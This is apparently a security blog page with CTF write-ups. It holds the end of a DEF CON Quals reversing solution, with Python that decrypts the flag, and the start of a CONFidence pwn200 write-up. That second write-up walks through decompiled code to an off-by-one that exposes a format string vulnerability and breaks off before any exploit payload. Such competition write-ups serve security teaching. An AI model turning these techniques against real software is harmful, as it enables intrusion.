<span style="color: #200080; font-weight: bold;">while</span> <span style="color: #308080;">(</span>counter_1 <span style="color: #308080;"><</span> count_max<span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
res1 <span style="color: #308080;">=</span> calc4<span style="color: #308080;">(</span>seed<span style="color: #308080;">,</span> counter_1<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
counter_2 <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">while</span> <span style="color: #308080;">(</span>counter_2 <span style="color: #308080;"><</span> count_max<span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
res2 <span style="color: #308080;">=</span> calc4<span style="color: #308080;">(</span>seed<span style="color: #308080;">,</span> counter_2<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
res <span style="color: #308080;">=</span> res1 <span style="color: #308080;">^</span> res2<span style="color: #406080;">;</span>
ptr <span style="color: #308080;">=</span> <span style="color: #308080;">(</span>count_max <span style="color: #308080;">*</span> counter_1 <span style="color: #308080;">+</span> counter_2<span style="color: #308080;">)</span> <span style="color: #308080;">*</span> <span style="color: #008c00;">4</span><span style="color: #406080;">;</span>
big_buff<span style="color: #308080;">[</span>ptr <span style="color: #308080;">+</span> <span style="color: #008c00;">0</span><span style="color: #308080;">]</span> <span style="color: #308080;">=</span> <span style="color: #308080;">(</span>res <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">24</span><span style="color: #308080;">)</span> <span style="color: #308080;">&</span> <span style="color: green;">0xff</span><span style="color: #406080;">;</span>
big_buff<span style="color: #308080;">[</span>ptr <span style="color: #308080;">+</span> <span style="color: #008c00;">1</span><span style="color: #308080;">]</span> <span style="color: #308080;">=</span> <span style="color: #308080;">(</span>res <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">16</span><span style="color: #308080;">)</span> <span style="color: #308080;">&</span> <span style="color: green;">0xff</span><span style="color: #406080;">;</span>
big_buff<span style="color: #308080;">[</span>ptr <span style="color: #308080;">+</span> <span style="color: #008c00;">2</span><span style="color: #308080;">]</span> <span style="color: #308080;">=</span> <span style="color: #308080;">(</span>res <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">8</span><span style="color: #308080;">)</span> <span style="color: #308080;">&</span> <span style="color: green;">0xff</span><span style="color: #406080;">;</span>
big_buff<span style="color: #308080;">[</span>ptr <span style="color: #308080;">+</span> <span style="color: #008c00;">3</span><span style="color: #308080;">]</span> <span style="color: #308080;">=</span> <span style="color: #308080;">(</span>res <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">0</span><span style="color: #308080;">)</span> <span style="color: #308080;">&</span> <span style="color: green;">0xff</span><span style="color: #406080;">;</span>
counter_2<span style="color: #308080;">+</span><span style="color: #308080;">+</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
counter_1<span style="color: #308080;">+</span><span style="color: #308080;">+</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
<span style="color: #406080;">}</span></pre>
</blockquote>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">calc4</span> calls <span style="font-family: Courier New, Courier, monospace;">calc</span> 4 times with (0, 1, 2, 3) as the third paramter and adds the results using bitwise or. Since nobody else writes to the allocated buffer, this is rather easy to reverse. The seed itself is also created by the loop function, using an array of random numbers called random_pad. This is only ~16MB, so we decided to dump this from gdb and use this for our solution. It was also useful to verify that our reversed loop function works correctly.</div>
<div>
<br /></div>
<div>
To reverse the loop function, we need to reverse <span style="font-family: Courier New, Courier, monospace;">calc</span> first. Here is the hand decompiled C code, converted to Python.</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<pre style="color: #000020;">def calc4<span style="color: #308080;">(</span>buf<span style="color: #308080;">,</span> arg2<span style="color: #308080;">)</span><span style="color: #406080;">:</span>
res <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span>
<span style="color: #200080; font-weight: bold;">for</span> arg3 in range<span style="color: #308080;">(</span><span style="color: #008c00;">4</span><span style="color: #308080;">)</span><span style="color: #406080;">:</span>
res <span style="color: #308080;">|</span><span style="color: #308080;">=</span> calc<span style="color: #308080;">(</span>buf<span style="color: #308080;">,</span> arg2<span style="color: #308080;">,</span> arg3<span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">return</span> res
def calc<span style="color: #308080;">(</span>buf<span style="color: #308080;">,</span> arg2<span style="color: #308080;">,</span> arg3<span style="color: #308080;">)</span><span style="color: #406080;">:</span>
shift <span style="color: #308080;">=</span> arg2 <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">3</span>
w <span style="color: #308080;">=</span> arg2 <span style="color: #308080;">&</span> <span style="color: #008c00;">7</span>
v1 <span style="color: #308080;">=</span> ord<span style="color: #308080;">(</span>buf<span style="color: #308080;">[</span>shift <span style="color: #308080;">+</span> arg3<span style="color: #308080;">]</span><span style="color: #308080;">)</span>
esi <span style="color: #308080;">=</span> v1 <span style="color: #308080;"><</span><span style="color: #308080;"><</span> w
v2 <span style="color: #308080;">=</span> ord<span style="color: #308080;">(</span>buf<span style="color: #308080;">[</span>shift <span style="color: #308080;">+</span> arg3 <span style="color: #308080;">+</span> <span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">)</span>
edx <span style="color: #308080;">=</span> v2 <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #308080;">(</span><span style="color: #008c00;">8</span> <span style="color: #308080;">-</span> w<span style="color: #308080;">)</span>
eax <span style="color: #308080;">=</span> <span style="color: #308080;">(</span>esi <span style="color: #308080;">|</span> edx<span style="color: #308080;">)</span> <span style="color: #308080;">&</span> <span style="color: green;">0xff</span>
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;"><</span><span style="color: #308080;"><</span> <span style="color: #308080;">[</span><span style="color: #008c00;">24</span><span style="color: #308080;">,</span> <span style="color: #008c00;">16</span><span style="color: #308080;">,</span> <span style="color: #008c00;">8</span><span style="color: #308080;">,</span> <span style="color: #008c00;">0</span><span style="color: #308080;">]</span><span style="color: #308080;">[</span>arg3<span style="color: #308080;">]</span>
<span style="color: #200080; font-weight: bold;">return</span> eax</pre>
</blockquote>
<div>
<br /></div>
<div>
Here is the reversed loop function that returns any element of the hypothetical buffer without allocating and computing its content.</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<pre style="color: #000020;">def unloop<span style="color: #308080;">(</span>id<span style="color: #308080;">)</span><span style="color: #406080;">:</span>
i <span style="color: #308080;">=</span> id <span style="color: #308080;">/</span> <span style="color: #008c00;">4</span>
j <span style="color: #308080;">=</span> id <span style="color: #308080;">%</span> <span style="color: #008c00;">4</span>
count1 <span style="color: #308080;">=</span> i <span style="color: #308080;">/</span> count_max
count2 <span style="color: #308080;">=</span> i <span style="color: #308080;">%</span> count_max
result <span style="color: #308080;">=</span> calc4<span style="color: #308080;">(</span>seed<span style="color: #308080;">,</span> count1<span style="color: #308080;">)</span> <span style="color: #308080;">^</span> calc4<span style="color: #308080;">(</span>seed<span style="color: #308080;">,</span> count2<span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">return</span> <span style="color: #308080;">(</span>result <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #308080;">[</span><span style="color: #008c00;">24</span><span style="color: #308080;">,</span> <span style="color: #008c00;">16</span><span style="color: #308080;">,</span> <span style="color: #008c00;">8</span><span style="color: #308080;">,</span> <span style="color: #008c00;">0</span><span style="color: #308080;">]</span><span style="color: #308080;">[</span>j<span style="color: #308080;">]</span><span style="color: #308080;">)</span> <span style="color: #308080;">&</span> <span style="color: green;">0xff</span></pre>
</blockquote>
<div>
<br /></div>
<div>
After being able to simulate <span style="font-family: Courier New, Courier, monospace;">getByte</span>, we have to take care of some extra things. When we look at the main function, we can see that it takes one character from the user at a time, calls <span style="font-family: Courier New, Courier, monospace;">getByte</span>, does some extra stuff and then compares the two. If we correctly guess enough characters from the first 8, we get to the second stage. Here is the decompiled function that runs after <span style="font-family: Courier New, Courier, monospace;">getByte</span> on the resulting character:</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<pre style="color: #000020;">def fix<span style="color: #308080;">(</span>x<span style="color: #308080;">)</span><span style="color: #406080;">:</span>
eax <span style="color: #308080;">=</span> x
ecx <span style="color: #308080;">=</span> x
edx <span style="color: #308080;">=</span> x
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">*</span> <span style="color: #008c00;">3</span>
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;"><</span><span style="color: #308080;"><</span> <span style="color: #008c00;">5</span>
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">+</span> ecx
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">8</span>
ecx <span style="color: #308080;">=</span> ecx <span style="color: #308080;">-</span> eax
ecx <span style="color: #308080;">=</span> ecx <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">2</span>
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">+</span> ecx
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">></span><span style="color: #308080;">></span> <span style="color: #008c00;">6</span>
ecx <span style="color: #308080;">=</span> <span style="color: green;">0x5d</span>
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">*</span> ecx
edx <span style="color: #308080;">=</span> edx <span style="color: #308080;">-</span> eax
eax <span style="color: #308080;">=</span> edx <span style="color: #308080;">&</span> <span style="color: green;">0xff</span>
eax <span style="color: #308080;">=</span> eax <span style="color: #308080;">+</span> <span style="color: green;">0x20</span>
<span style="color: #200080; font-weight: bold;">return</span> eax <span style="color: #308080;">&</span> <span style="color: green;">0xff</span></pre>
</blockquote>
<div>
<br /></div>
<div>
Yeah, I was pretty tired here, and my initial implementation had a bug, so I took the assembly and converted it to Python.</div>
<div>
<br /></div>
<div>
After some debugging, every component was finally working, and we got to the second part. The program replied with a bunch of hex-encoded bytes and exited. If we look at the disassembly, we can see that the flag is read into a buffer, and the xor encrypted using the <span style="font-family: Courier New, Courier, monospace;">getByte[OTP[i]]</span> values as the key. Since we had already reversed the <span style="font-family: Courier New, Courier, monospace;">getByte</span> function, and we knew the OTP values, this was trivial to decrypt.</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #595979;"># We got these after running the first part of the solution</span>
otp <span style="color: #308080;">=</span> <span style="color: #308080;">[</span><span style="color: #308080;">.</span><span style="color: #308080;">.</span><span style="color: #308080;">.</span><span style="color: #308080;">]</span>
flag <span style="color: #308080;">=</span> <span style="color: #308080;">[</span><span style="color: #308080;">.</span><span style="color: #308080;">.</span><span style="color: #308080;">.</span><span style="color: #308080;">]</span>
<span style="color: #200080; font-weight: bold;">print</span> <span style="color: #1060b6;">''</span><span style="color: #308080;">.</span>join<span style="color: #308080;">(</span><span style="color: #308080;">[</span><span style="color: #e34adc;">chr</span><span style="color: #308080;">(</span>unloop<span style="color: #308080;">(</span>o<span style="color: #308080;">)</span> <span style="color: #308080;">^</span> f<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">for</span> o<span style="color: #308080;">,</span> f <span style="color: #200080; font-weight: bold;">in</span> zip<span style="color: #308080;">(</span>otp<span style="color: #308080;">,</span> flag<span style="color: #308080;">)</span><span style="color: #308080;">]</span><span style="color: #308080;">)</span></pre>
</blockquote>
<div>
<br /></div>
<div>
Here is the full script for the first part of the challenge: <a href="https://gist.github.com/balidani/92912e5f79695f983fc1">https://gist.github.com/balidani/92912e5f79695f983fc1</a></div>
<div>
<br /></div>
<div>
Here is the script for the second part, with valid flag and OTP values: <a href="https://gist.github.com/balidani/91326787a8900b3a2c2d">https://gist.github.com/balidani/91326787a8900b3a2c2d</a></div>
<div>
<br /></div>
<div>
If anybody wants to recreate the ~16MB seed file used in the scripts, just run this script: <a href="https://gist.github.com/balidani/e8212c3142c28238db6e">https://gist.github.com/balidani/e8212c3142c28238db6e</a></div>
<div>
<br /></div>
<div>
Thanks to all of the DEF CON guys for the Quals, it was lots of fun!</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com4tag:blogger.com,1999:blog-7011836621605765499.post-6087948910746964942014-04-27T12:07:00.000-07:002014-04-27T12:07:36.039-07:00CONFidence DS CTF - pwn200 writeupThe Dragon Sector team put together a nice teaser CTF for the CONFidence security confidence held in Krakow. Here is the writeup for the exploitation task.<br />
<br />
<h2>
<span style="font-size: large;">Finding the vulnerability</span></h2>
Let's see how the application works. Fortunately it works with stdout right away, and then it's bound to a socket later on, so we don't need to take care of that during debugging. This is also a minor hint for later, which I didn't realize at the time.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheX-QwB_4eav8DHN8v-nmcCXMj8AaycBHYAy_v_2AJKB2AEiGNUuihhmwshFGKHVAmKovV9IVLhYpk9vUX208ZasOlj93JXm2l-cWoBx5QebLgDMnfsykbdS1Up7Phfew5SZf6jdb0Vuk/s1600/pwn200_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheX-QwB_4eav8DHN8v-nmcCXMj8AaycBHYAy_v_2AJKB2AEiGNUuihhmwshFGKHVAmKovV9IVLhYpk9vUX208ZasOlj93JXm2l-cWoBx5QebLgDMnfsykbdS1Up7Phfew5SZf6jdb0Vuk/s1600/pwn200_1.png" height="172" width="320" /></a></div>
<br />
So you can select an operation and then supply the argument count and the arguments themselves. Then you get the result along with a quote, which is unique for all operations.<br />
<br />
One thing we can find without any reversing is an info leak. If we use 'pow' with just one argument for example, the other argument will be a leaked address (as an integer). Maybe this will be useful later on.<br />
<br />
Let's fire up IDA and look for vulnerabilities.<br />
<br />
We can see right away that the operations are stored in an array at 0x3B00. There is a name, a quote and a handling function for each operation.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9R7elFT2zHTIie49OXZulRWDPzZ1q4pWgjBR8AGzNWt5IkGQFIu6r1dI6pY2PlO8ZpBulOP0L9u3T4r2VVZVIaBsQ40anJO-HE8RtOL5L5Hy2_SqxRRrXls38aVNOYR8LZEl4G23ijc/s1600/pwn200_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9R7elFT2zHTIie49OXZulRWDPzZ1q4pWgjBR8AGzNWt5IkGQFIu6r1dI6pY2PlO8ZpBulOP0L9u3T4r2VVZVIaBsQ40anJO-HE8RtOL5L5Hy2_SqxRRrXls38aVNOYR8LZEl4G23ijc/s1600/pwn200_2.png" height="80" width="320" /></a></div>
<br />
First things first, we look at the main function.<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;">v8 <span style="color: #308080;">=</span> <span style="color: #308080;">*</span>MK_FP<span style="color: #308080;">(</span>__GS__<span style="color: #308080;">,</span> <span style="color: #008c00;">20</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #003060;">setbuf</span><span style="color: #308080;">(</span><span style="color: #003060;">stdout</span><span style="color: #308080;">,</span> <span style="color: #008c00;">0</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #003060;">puts</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">Welcome to Multipurpose Calculation Machine!</span><span style="color: maroon;">"</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">for</span> <span style="color: #308080;">(</span> i <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span> i <span style="color: #308080;"><</span><span style="color: #308080;">=</span> <span style="color: #008c00;">2</span><span style="color: #406080;">;</span> <span style="color: #308080;">+</span><span style="color: #308080;">+</span>i <span style="color: #308080;">)</span>
<span style="color: #406080;">{</span>
print_menu<span style="color: #308080;">(</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #003060;">printf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">Choice: </span><span style="color: maroon;">"</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
read_count <span style="color: #308080;">=</span> read<span style="color: #308080;">(</span><span style="color: #008c00;">0</span><span style="color: #308080;">,</span> <span style="color: #308080;">&</span>input<span style="color: #308080;">,</span> <span style="color: #008c00;">63</span><span style="color: #006600;">u</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span> <span style="color: #308080;">(</span> <span style="color: #308080;">!</span>read_count <span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">break</span><span style="color: #406080;">;</span>
<span style="color: #308080;">*</span><span style="color: #308080;">(</span><span style="color: #308080;">&</span>input <span style="color: #308080;">+</span> read_count<span style="color: #308080;">)</span> <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span>
newline_idx <span style="color: #308080;">=</span> <span style="color: #003060;">strchr</span><span style="color: #308080;">(</span><span style="color: #308080;">&</span>input<span style="color: #308080;">,</span> <span style="color: #1060b6;">'\n'</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span> <span style="color: #308080;">(</span> newline_idx <span style="color: #308080;">)</span>
<span style="color: #308080;">*</span>newline_idx <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">for</span> <span style="color: #308080;">(</span> j <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span> <span style="color: #308080;">*</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">void</span> <span style="color: #308080;">*</span><span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">(</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">char</span> <span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">&</span>operations <span style="color: #308080;">+</span> <span style="color: #008c00;">3</span> <span style="color: #308080;">*</span> j <span style="color: #308080;">+</span> <span style="color: #008c00;">8</span><span style="color: #308080;">)</span> <span style="color: #308080;">!</span><span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span> <span style="color: #308080;">+</span><span style="color: #308080;">+</span>j <span style="color: #308080;">)</span>
<span style="color: #406080;">{</span>
op_len <span style="color: #308080;">=</span> <span style="color: #003060;">strlen</span><span style="color: #308080;">(</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">const</span> <span style="color: #200080; font-weight: bold;">char</span> <span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">*</span><span style="color: #308080;">(</span><span style="color: #308080;">&</span>operations <span style="color: #308080;">+</span> <span style="color: #008c00;">3</span> <span style="color: #308080;">*</span> j<span style="color: #308080;">)</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span> <span style="color: #308080;">(</span> <span style="color: #308080;">!</span><span style="color: #003060;">memcmp</span><span style="color: #308080;">(</span><span style="color: #308080;">&</span>input<span style="color: #308080;">,</span> <span style="color: #308080;">*</span><span style="color: #308080;">(</span><span style="color: #308080;">&</span>operations <span style="color: #308080;">+</span> <span style="color: #008c00;">3</span> <span style="color: #308080;">*</span> j<span style="color: #308080;">)</span><span style="color: #308080;">,</span> op_len<span style="color: #308080;">)</span> <span style="color: #308080;">)</span>
<span style="color: #308080;">(</span><span style="color: #308080;">*</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">void</span> <span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">__cdecl</span> <span style="color: #308080;">*</span><span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">char</span> <span style="color: #308080;">*</span><span style="color: #308080;">,</span> <span style="color: #200080; font-weight: bold;">signed</span> <span style="color: #200080; font-weight: bold;">int</span><span style="color: #308080;">,</span> _DWORD<span style="color: #308080;">,</span> <span style="color: #200080; font-weight: bold;">char</span> <span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">)</span><span style="color: #308080;">(</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">char</span> <span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">&</span>operations <span style="color: #308080;">+</span> <span style="color: #008c00;">3</span> <span style="color: #308080;">*</span> j <span style="color: #308080;">+</span> <span style="color: #008c00;">8</span><span style="color: #308080;">)</span><span style="color: #308080;">)</span><span style="color: #308080;">(</span>
<span style="color: #308080;">&</span>format_buf<span style="color: #308080;">,</span>
<span style="color: #008c00;">308</span><span style="color: #308080;">,</span>
<span style="color: #308080;">*</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">void</span> <span style="color: #308080;">*</span><span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">(</span><span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">char</span> <span style="color: #308080;">*</span><span style="color: #308080;">)</span><span style="color: #308080;">&</span>operations <span style="color: #308080;">+</span> <span style="color: #008c00;">3</span> <span style="color: #308080;">*</span> j <span style="color: #308080;">+</span> <span style="color: #008c00;">4</span><span style="color: #308080;">)</span><span style="color: #308080;">,</span>
<span style="color: #308080;">&</span>input<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
<span style="color: #406080;">}</span>
result <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span> <span style="color: #308080;">(</span> <span style="color: #308080;">*</span>MK_FP<span style="color: #308080;">(</span>__GS__<span style="color: #308080;">,</span> <span style="color: #008c00;">20</span><span style="color: #308080;">)</span> <span style="color: #308080;">!</span><span style="color: #308080;">=</span> v8 <span style="color: #308080;">)</span>
sub_2090<span style="color: #308080;">(</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">return</span> result<span style="color: #406080;">;</span></pre>
</blockquote>
<br />
The memcp used to find the operation that we want is a bit fishy here. It uses the operation's length when comparing, so we can essentially enter addAAAA... and still access the add operation. This will be useful later. We can see that the user input is 63 characters at max. Otherwise this function just looks up the opeartion and calls it's handling function with some parameters (format string buffer, n=308, the quote used and the input the user supplied).<br />
<br />
Now let's see the handling function for the first operation (add). After some renaming, we get the following C code:<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;">v11 <span style="color: #308080;">=</span> <span style="color: #008c00;">10</span><span style="color: #406080;">;</span>
<span style="color: #003060;">printf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">[</span><span style="color: #0f69ff;">%s</span><span style="color: #1060b6;">] Choose the number of parameters: </span><span style="color: maroon;">"</span><span style="color: #308080;">,</span> op<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #003060;">scanf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #0f69ff;">%u</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span> <span style="color: #308080;">&</span>param_count<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span> <span style="color: #308080;">(</span> <span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">unsigned</span> <span style="color: #200080; font-weight: bold;">int</span><span style="color: #308080;">)</span>param_count <span style="color: #308080;"><</span><span style="color: #308080;">=</span> <span style="color: #008c00;">10</span> <span style="color: #308080;">)</span>
<span style="color: #406080;">{</span>
<span style="color: #200080; font-weight: bold;">for</span> <span style="color: #308080;">(</span> i <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span> i <span style="color: #308080;"><</span> param_count<span style="color: #406080;">;</span> <span style="color: #308080;">+</span><span style="color: #308080;">+</span>i <span style="color: #308080;">)</span>
<span style="color: #406080;">{</span>
<span style="color: #003060;">printf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">[</span><span style="color: #0f69ff;">%s</span><span style="color: #1060b6;">] Provide parameter </span><span style="color: #0f69ff;">%u</span><span style="color: #1060b6;">: </span><span style="color: maroon;">"</span><span style="color: #308080;">,</span> op<span style="color: #308080;">,</span> i <span style="color: #308080;">+</span> <span style="color: #008c00;">1</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #003060;">scanf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #0f69ff;">%u</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span> <span style="color: #308080;">&</span>params<span style="color: #308080;">[</span>i<span style="color: #308080;">]</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
print_to_string<span style="color: #308080;">(</span>char_buf<span style="color: #308080;">,</span> <span style="color: green;">0x1000</span><span style="color: #006600;">u</span><span style="color: #308080;">,</span> op<span style="color: #308080;">,</span> msg_of_day<span style="color: #308080;">,</span> params<span style="color: #308080;">,</span> param_count<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #003060;">strncpy</span><span style="color: #308080;">(</span>output_buf<span style="color: #308080;">,</span> char_buf<span style="color: #308080;">,</span> n<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">for</span> <span style="color: #308080;">(</span> j <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span> j <span style="color: #308080;"><</span> n<span style="color: #406080;">;</span> <span style="color: #308080;">+</span><span style="color: #308080;">+</span>j <span style="color: #308080;">)</span>
<span style="color: #406080;">{</span>
<span style="color: #200080; font-weight: bold;">if</span> <span style="color: #308080;">(</span> output_buf<span style="color: #308080;">[</span>j<span style="color: #308080;">]</span> <span style="color: #308080;">=</span><span style="color: #308080;">=</span> <span style="color: #1060b6;">'%'</span> <span style="color: #308080;">)</span>
output_buf<span style="color: #308080;">[</span>j<span style="color: #308080;">]</span> <span style="color: #308080;">=</span> <span style="color: #1060b6;">'_'</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
<span style="color: #003060;">printf</span><span style="color: #308080;">(</span>output_buf<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
sum <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #006600;">LL</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">for</span> <span style="color: #308080;">(</span> k <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span> k <span style="color: #308080;"><</span> param_count<span style="color: #406080;">;</span> <span style="color: #308080;">+</span><span style="color: #308080;">+</span>k <span style="color: #308080;">)</span>
sum <span style="color: #308080;">+</span><span style="color: #308080;">=</span> <span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">unsigned</span> <span style="color: #200080; font-weight: bold;">int</span><span style="color: #308080;">)</span>params<span style="color: #308080;">[</span>k<span style="color: #308080;">]</span><span style="color: #406080;">;</span>
result <span style="color: #308080;">=</span> <span style="color: #003060;">printf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">[</span><span style="color: #0f69ff;">%s</span><span style="color: #1060b6;">] The sum of provided numbers is %llu</span><span style="color: #0f69ff;">\n</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span> op<span style="color: #308080;">,</span> sum<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
<span style="color: #200080; font-weight: bold;">else</span>
<span style="color: #406080;">{</span>
result <span style="color: #308080;">=</span> <span style="color: #003060;">printf</span><span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">[</span><span style="color: #0f69ff;">%s</span><span style="color: #1060b6;">] Too many arguments!</span><span style="color: #0f69ff;">\n</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span> op<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
<span style="color: #200080; font-weight: bold;">return</span> result<span style="color: #406080;">;</span></pre>
</blockquote>
<br />
The huge red flag here is that the program is manually replacing the '%' signs instead of using puts on the output. There has to be a format string vulnerability here (or the creator of the task is just messing with us).<br />
<br />
We know that the value of 'n' is 308. <strike>Un</strike>fortunately, we only copy 308 characters into the string, so every '%' will be replaced. But wait a second! If we could somehow overflow the terminating zero at the end of the buffer, the original user input, which specified the operation to use in the main function would also be printed. (Because this is the value immediately next to the buffer on the stack in main). Then, our format string would be evaluated.<br />
<br />
The next step is a quest to look for the longest possible output. Here is the format of the string:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">[<operation>] Message of the day: <quote>, operands: [<op 1>, <op 2>, ..., <op n>]</span></blockquote>
After some manual search, we find that 'tan' will result in the longest output. First of all, the operation string is the same one supplied by the user, so it's 63 characters at most. Then we have to find the longest integer we can supply. Since it is signed, we can gain an extra character with negative values. The longest value we can get is "-1111111111". Adding everything up, we get a buffer that is 307 characters long. But wait a second, there is a newline at the end we forgot to count! So we have our vulnerability after all. Let's test it now.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
